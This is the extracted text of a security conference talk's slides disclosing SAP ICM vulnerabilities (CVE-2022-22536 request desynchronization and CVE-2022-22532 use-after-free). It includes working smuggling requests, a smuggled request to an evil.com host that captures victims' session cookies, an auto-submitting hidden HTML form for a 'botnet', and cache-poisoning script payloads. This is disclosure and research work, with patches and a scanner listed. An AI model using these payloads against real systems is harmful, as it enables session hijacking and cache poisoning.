Internal Server Error:
Exploiting Inter-Process Communication with new
Desynchronization Primitives

Martin Doyhenard
Who am I?

- Senior Security Researcher at Onapsis Research Labs
- Speaker at BlackHat, DEFCON, RSA, HITB, EkoParty, Troopers
- Google Security Hall of Fame
- CTF player
- Bug Bounty Hacker
- Introduced HTTP Response Smuggling (2021)
- Twitter: @tincho_508
- **Business Processes** software
  - Operations
  - Financials
  - Human Capital
  - Customer Relationship
  - Supply Chain

- Over 400,000+ Customers (90% Fortune-500)

- Based on Web Services through HTTP (Java and ABAP)

- Proprietary HTTP Server: **Internet Communication Manager**
Internet Communication Manager

- Handles all communication of the SAP System with its clients and the outside world
- Protocols: **HTTP**, P4, IIOP, SMTP and others
- HTTP present by default in all SAP installations (Java, ABAP, WebDispatcher, S/4Hana)
ICM HTTP WorkFlow

CLIENT -> HTTP Request -> ICM Worker Thread

HTTP Request

HTTP Parser

HTTP Handlers

JAVA / ABAP Process

ICM
ICM Memory Pipes

- MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process
- Requests/Responses are placed in **Shared Memory** and accessed using MPI pointers
- MPI Buffers are fixed size ($2^{16}$ by default) and are reserved and freed by a Worker Thread
ICM HTTP WorkFlow

- MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process
- Requests/Responses are placed in Shared Memory and accessed using MPI pointers
- MPI Buffers are fixed size ($2^{16}$ by default) and are reserved and freed by a Worker Thread
ICM HTTP WorkFlow

- MPI is an API/Framework to support exchange of data between ICM and Java/ABAP process
- Requests/Responses are placed in Shared Memory and accessed using MPI pointers
- MPI Buffers are fixed size ($2^{16}$ by default) and are reserved and freed by a Worker Thread
ICM HTTP Handlers

- **URL** determines which Internal Handlers will be called.
- When a Handler generates a Response, all others are removed.

**Internal Handlers**
- Cache Handler
- Admin Handler
- Authentication Handler
- Modification Handler
- File Access Handler
- Redirect Handler

**JAVA Handler**
- HttpJ2EE2Handler
- HttpFileAccessHandler
- HttpFilterHandler
- HttpRedirectHandler
- HttpTestHandler
- HttpAdmHandler
- HttpLogHandler
- HttpSAPR3Handler
- HttpAuthHandler
- HttpCacheHandler
- HttpModHandler

**ABAP Handler**
ICM Internal Handlers

- **I/O Handler**
  - GET /sap/admin/aaa
- **ICM WT**
- **Cache Handler**
- **Admin Handler**
- **Java/ABAP Handler**
- **Java / ABAP**
- **Shared Memory**
  - GET /sap/admin
  - Free MPI Buffer
  - Free MPI Buffer
  - Free MPI Buffer
  - Free MPI Buffer
  - Free MPI Buffer
ICM Internal Handlers

- **I/O Handler**: HTTP/1.1 OK 200
- **ICM WT**: HTTP/1.1 OK 200
- **Admin Handler**: HTTP/1.1 OK 200
- **Java / ABAP**

**Shared Memory**

| GET /sap/admin | Free MPI Buffer | Free MPI Buffer | Free MPI Buffer |
Multi-Buffer Messages

- What if an HTTP Message is bigger than a fixed size MPI Buffer (65455)?
- Internal Handlers only need headers (smaller than 65K)
Multi-Buffer Messages

I/O Handler
HTTP/1.1 OK 200

ICM WT

Java / ABAP

Shared Memory

Free MPI Buffer  Free MPI Buffer  Free MPI Buffer

Free MPI Buffer  Free MPI Buffer  Free MPI Buffer
MPI Desynchronization: CVE-2022-22536
MPI Desynchronization

I/O Handler

.... More Request Body
....

HTTP/1.1 OK 200
....

ICM WT

Cache Handler

Admin Handler

Java/ABAP Process

Java / ABAP

Shared Memory

<table>
<thead>
<tr>
<th>REQ first ~ 2^16</th>
<th>Free MPI Buffer</th>
<th>Free MPI Buffer</th>
</tr>
</thead>
<tbody>
<tr>
<td>Free MPI Buffer</td>
<td>Free MPI Buffer</td>
<td>Free MPI Buffer</td>
</tr>
</tbody>
</table>
MPI Desynchronization

I/O Handler

- More Request Body
- HTTP/1.1 OK 200

ICM WT

- HTTP/1.1 OK 200

Admin Handler

Java / ABAP

Shared Memory

<table>
<thead>
<tr>
<th>REQ first ~ 2^16</th>
<th>Free MPI Buffer</th>
<th>Free MPI Buffer</th>
</tr>
</thead>
<tbody>
<tr>
<td>Free MPI Buffer</td>
<td>Free MPI Buffer</td>
<td>Free MPI Buffer</td>
</tr>
</tbody>
</table>
MPI Desynchronization

I/O Handler

ICM WT

Java / ABAP

Shared Memory

<table>
<thead>
<tr>
<th>More Req Body</th>
<th>Free MPI Buffer</th>
<th>Free MPI Buffer</th>
</tr>
</thead>
<tbody>
<tr>
<td>Free MPI Buffer</td>
<td>Free MPI Buffer</td>
<td>Free MPI Buffer</td>
</tr>
</tbody>
</table>
ICM HTTP Desynchronization

- All Proxies will consider the payload as one isolated Request (HTTP RFC compliant)
- Request splitted at ICM if Internal Handler is called and is Long Request (+65455 bytes)
- CVSS 10: Compromise all SAP’s applications in the world!

```
GET /sap/admin/public/default.html HTTP/1.1
Host: SapSystem.com
Content-Length: 65417

(A*65370)GET /smuggled HTTP/1.1
Host: SapSystem.com
```
ICM HTTP Smuggling

- `/nwa` endpoint redirects a user to a login URL. It provides 2 interesting features:
  - Open Redirect: The Host header is used to build the redirect Location.
  - Params reflection: It reflects as query string either the body (POST)
ICM HTTP Smuggling

- Hijacking victim’s requests and session cookies

GET /sap/admin/public/default.html HTTP/1.1
Host: SapSystem.com
Content-Length: 65478

(A*65370)POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
ICM HTTP Smuggling

- Hijacking victim’s requests and session cookies

HTTP/1.1 200 OK
server: SAP NetWeaver Application Server
content-length: 4497
content-type: text/html
connection: Keep-Alive

POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
ICM HTTP Smuggling

- Hijacking victim’s requests and session cookies

GET / HTTP/1.1
Host: SapSystem.com
Cookies:
MYSAPSSO2=secret_SAP_Session123456;
User-Agent: Victim Browser 1.0
Accept: text/html
Accept-Language: en-US,en;q=0.9
...

POST /nwa HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

GET / HTTP/1.1
Host: SapSystem.com
Cookies: MYSAPSSO2=secret_SAP_Session123456;
User-Agent: Victim Browser 1.0
...
ICM HTTP Smuggling

- Hijacking victim’s requests and session cookies
ICM HTTP Smuggling

- Hijacking victim’s requests and session cookies

GET
/webdynpro/resources/sap.com/tc~lm~itsam~ui~mainframe~wd/FloorPla
ppApp?home=true&GET%20/%20HTTP/1.1%20%2
0Cookies:%20MYSAPSSO2=secret_SAP_Session123456;%20%20User-
Agent:%20Victi HTTP/1.1
Host: evil.com
Referer: http://SapSystem.com
Smuggling Botnet

- Desynchronization does not rely on HTTP headers
- Exploitable through HTML/JS
- DNS Rebinding to send valid custom HTTP headers (HAProxy CVE-2021-40346)

```html
<form action="http://SapSystem.com/sap/admin/public/default.html" id="botnet" method="post" enctype="text/plain" hidden>
  <input type="text" name="padding" value="{A*65357}">
  <textarea name="smuggle">
    POST /nwa HTTP/1.1
    Host: evil.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 100
  </textarea>
</form>
<script>
window.onload = document.getElementById("botnet").submit();
</script>
```
Client-Side Desync

- James Kettle’s “Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling”
- Exploit Browser – Server Desynchronization
- New Methodology for finding and exploiting complicated Desynchronization
- No Proxy Required
- Social Engineering: Start from the victim
DEMO:
HTTP Request Smuggling
DEMO: HTTP Response Smuggling
ICM - HTTP Pipelining

- SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers.
ICM - HTTP Pipelining

- SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers

---

**I/O Handler**

HTTP/1.1 OK 200

---

**ICM WT**

HTTP/1.1 OK

---

**Java Process**

HTTP/1.1 OK

---

**Shared Memory**

- GET /1
- GET /2
- HTTP/1.1 OK
- GET /2
- Free MPI Buffer
- Free MPI Buffer
- Free MPI Buffer
- Free MPI Buffer
ICM - HTTP Pipelining

- SAP ICM Java by default accepts Pipelined Requests using different MPI Buffers

I/O Handler

HTTP/1.1 OK 200
....

ICM WT

Java Process

Shared Memory

- Free MPI Buffer
- Free MPI Buffer
- Free MPI Buffer
- GET /2
- Free MPI Buffer
- Free MPI Buffer
MPI Use After Free: CVE-2022-22532
MpiFreeAllBuffers

I/O Handler

..Rest of Req1 Body..
GET /2 HTTP/1.1

ICM WT

GET /1 HTTP/1.1

Free MPI Buffer
Free MPI Buffer
Free MPI Buffer
Free MPI Buffer

Java Process

HTTP/1.1 OK

Shared Memory

GET /1 HTTP/1.1

Body + GET /2

GET /2 HTTP/1.1

Free MPI Buffer
MpiFreeAllBuffers

I/O Handler

ICM WT

Java Process

Shared Memory

GET /1 HTTP/1.1
HTTP/1.1 OK
Free MPI Buffer

Body + GET /2
GET /2 HTTP/1.1
Free MPI Buffer

MpiFreeAllBuffers(): free df3388
MpiFreeAllBuffers() does NOT delete references
MPI Use After Free

MPI Handler “allocates” using a stack data structure (LIFO)

ERROR

GET /X HTTP/1.1
GET /2 HTTP/1.1
GET /X HTTP/1.1
GET /2 HTTP/1.1

MPI Handler “allocates” using a stack data structure (LIFO)
MPI Use After Free - Write After Free

- When a request is sent incomplete, the ICM will wait for more data
  - No double CR-LB characters are found
  - Body shorter than Message-Length header

- Worker Thread is set to READ mode

- When more data arrives the Worker Thread writes the MPI Buffer

- The offset of the last byte (NULL) is stored by the Worker Thread to know where to write
Smuggling without a Proxy

ICM WT 1
I/O Handler
Req1 Body.. X

ICM WT 1

ICM WT 2
I/O Handler

GET /1 HTTP/1.1 Body + X X

Shared Memory

Java Process
HTTP/1.1 200 OK

MPI Buffer

WT 1 OFFSET: 1

X[x00]
Smuggling without a Proxy

ICM WT 1
I/O Handler
HTTP/1.1 200 OK

ICM WT 2
I/O Handler

ICM WT 1
PARSE

MPI Buffer
WT 1 OFFSET: 1

Java Process

GET /1 HTTP/1.1
Body + X
X

Smuggling without a Proxy

ICM WT 2
I/O Handler

ICM WT 2

ICM WT 1

Shared Memory
GET /1 HTTP/1.1
Body + X
X

HTTP/1.1 200 OK

GET /1 HTTP/1.1
Body + X
X

HTTP/1.1 200 OK
Smuggling without a Proxy

ICM WT 1 I/O Handler

ICM WT 2 I/O Handler

GET / HTTP/1.1
Host: SapSys.com
....

ICM WT 1

READ

ICM WT 2

Shared Memory

Free MPI Buffer

Free MPI Buffer

\text{\textbf{x}}

MPI Buffer

\text{x[x00]}

WT 1 OFFSET: 1

WT 2 OFFSET: 0

Java Process
Smuggling without a Proxy

ICM WT 1
I/O Handler

ET /otherURL
HTTP/1.1
Host: SapSys.com

ICM WT 2
I/O Handler

READ

ICM WT 1

Shared Memory

Free MPI Buffer
Free MPI Buffer
GET / HTTP/1.1

Java Process

MPI Buffer

GET / HTTP/1.1
Host: SapSys.com
Content-Length: 0
\r\n\r\n[\x00]

WT 1 OFFSET: 1
WT 2 OFFSET: 55
Smuggling without a Proxy

ICM WT 1 I/O Handler

ICM WT 2 I/O Handler

ICM WT 1

ICM WT 2

Shared Memory

Free MPI Buffer

HTTP/1.1 200 OK

GET /otherURL

HTTP/1.1 200 OK

GET /otherURL HTTP/1.1
Host: SapSys.com
Length: 0

Response for /otherURL

Java Process

MPI Buffer

GET /otherURL HTTP/1.1
Host: SapSys.com
Length: 0
[x00]

WT 1 OFFSET: 43

WT 2 OFFSET: 55
Smuggling without a Proxy

ICM WT 1
I/O Handler

ICM WT 1

ICM WT 2
I/O Handler

HTTP/1.1 200 OK

ICM WT 2

GET /otherURL HTTP/1.1
Host: SapSys.com
Length: 0

HTTP/1.1 200 OK

Shared Memory

Free MPI Buffer
HTTP/1.1 200 OK
GET /otherURL

Java Process

MPI Buffer

GET /otherURL HTTP/1.1
Host: SapSys.com
Length: 0

WT 1 OFFSET: 43
WT 2 OFFSET: 55
Smuggling without a Proxy

- Steps:
  a. Attacker **hijack** MPI Buffer
  b. Victim **place request** in hijacked buffer
  c. Attacker **tamper** Victim’s request
  d. Victim receives **malicious response**

- Same HTTP Smuggling exploitation
- No proxy is required, but less reliable
- Multi-Purpose Buffers… Requests or Response?
Response Tampering

ICM WT 1
I/O Handler

ICM WT 1

ICM WT 2
I/O Handler

GET /A HTTP/1.1
Host: SapSys.com
....

READ

IMC WT 1

ICM WT 2

Shared Memory

Free MPI Buffer
Free MPI Buffer
Free MPI Buffer

X

X[0x00]

WT 1 OFFSET: 1

Java Process

MPI Buffer

D3FC0N
Response Tampering

ICM WT 1
I/O Handler

ICM WT 1

READ

ICM WT 1

ICM WT 2
I/O Handler

ICM WT 2

Shared Memory

Free MPI Buffer

GET /A HTTP/1.1

MPI Buffer

X

Shared Memory

Java Process

HTTP/1.1 200 OK
Response for A
Response Tampering

ICM WT 1
I/O Handler

ICM WT 1
I/O Handler

ICM WT 1

READ

ICM WT 1

Shared Memory

Free MPI Buffer
GET /A HTTP/1.1
HTTP/1.1 200 OK

Java Process

MPI Buffer

HTTP/1.1 200 OK\r\nContent-Length: 14\r\n\r\nResponse for A[x00]

WT 1 OFFSET: 1
WT 2 OFFSET: 53

TTP 200 OK
Sap-Cache-Control: ...
Content-Length: 25
<script>alert(1)</script>
ICM Arbitrary Cache Poisoning

ICM WT 1
I/O Handler
TTP 200 OK
Sap-Cache-Control: ...
Content-Length: 25
<script>alert(1)</script>

ICM WT 2
I/O Handler
HTTP/1.1 200 OK

ICM WT 1
ICM WT 2
Shared Memory
Free MPI Buffer
GET /A HTTP/1.1
HTTP/1.1 200 OK

Response Parser
Cache Handler

Java Process

MPI Buffer

HTTP 200 OK
Sap-Cache-Control: Max-Age=100
Content-Length: 25

<script>alert(1)</script>[x00]
ICM Arbitrary Cache Poisoning

ICM WT 1 I/O Handler
- TTP 200 OK
- Sap-Cache-Control: ...
- Content-Length: 25
- <script>alert(1)</script>

ICM WT 2 I/O Handler
- HTTP/1.1 200 OK

ICM WT 1

ICM WT 2

Shared Memory
- Free MPI Buffer
- GET /A HTTP/1.1
- HTTP/1.1 200 OK

Cache Handler

ICM Web Cache

MPI Buffer
- HTTP 200 OK
- Sap-Cache-Control: Max-Age=100
- Content-Length: 25
- <script>alert(1)</script>

WT 1 OFFSET: 88

WT 2 OFFSET: 53
DEMO:
MPI Use After Free
ICM Cache Buffer Overflow

ICM WT 1
I/O Handler

ICM WT 1

HTTP/1.1 200 OK
Content-Length: 25
Sap-Cache-Control: ...
<br/>
<script>alert(1)</script>

ICM WT 2
I/O Handler

ICM WT 2

GET /A HTTP/1.1
HTTP/1.1 200 OK

Shared Memory

Free MPI Buffer
GET /A HTTP/1.1
HTTP/1.1 200 OK

MPI Buffer

HTTP/1.1 200 OK
Content-Length: 14
Sap-Cache-Control: Max-Age=100
<br/>
Response for A [x00]

WT 1 OFFSET: 1
WT 2 OFFSET: 85

Java Process

Cache File

<table>
<thead>
<tr>
<th>Length</th>
<th>GZ</th>
<th>Body</th>
</tr>
</thead>
<tbody>
<tr>
<td>85</td>
<td>0</td>
<td>71</td>
</tr>
</tbody>
</table>
ICM Cache Buffer Overflow

ICM WT 1 I/O Handler
- TTP 200 OK
- Sap-Cache-Control: ...
- Content-Length: 29
- AAAAAAAAAAAAA...

ICM WT 1
- I/O Handler
- Shared Memory
  - Free MPI Buffer
  - GET /A HTTP/1.1
  - HTTP/1.1 200 OK

ICM WT 2 I/O Handler

Cache Handler

Cache File
- Length: 85
- GZ: 0
- Body: 71
- HTTP 200 OK
- Sap-Cache-Control: Max-Age=100
- Content-Length: 29
- AAAAAAAAAAAAAAAAAAAAAAAAAA[x00]

Java Process

MPI Buffer
- HTTP 200 OK
- Sap-Cache-Control: Max-Age=100
- Content-Length: 29
- AAAAAAAAAAAAAAAAAAAAAAAAAA[x00]

WT 1 OFFSET: 96
WT 2 OFFSET: 85
ICM Cache Buffer Overflow

ICM WT I/O Handler

GET /A HTTP/1.1

ICM WT

Req Cache Handler

ICM Web Cache

/A

Corrupt

Cache File

Length: 85  GZ: 0  Body: 71

HTTP 200 OK

Sap-Cache-Control: Max-Age=100
Content-Length: 29

AAAAAAAAAAAAAAAAAAAAAAA[x00]

HEAP Buffer Overflow

HTTP 200 OK

AAAAAAAAAAAA

85 Bytes
Solutions

- SAP Netweaver (Java and ABAP), S/4Hana, WebDispatcher… any SAP Installation
- SAP Security Notes: 3123396 & 3123427
- Manual Workaround implemented at Netweaver and WebDispatcher
- Detection Tool https://github.com/Onapsis/onapsis_icmad_scanner
Conclusions

- **HTTP Servers as a target**
  - Reverse Engineer with RFC in mind
  - Similar functions and workflow
  - Identify Requests and Responses in memory

- **Escalate low level vulnerabilities with HTTP exploitation**
  - Client-Side Desync
  - DNS Rebinding to bypass VPNs (botnet)

- **ICMAD addressed by CISA:**
  - Critical impact
  - All SAP installations affected
  - Accessible through most exposed service (HTTP/S)
Questions?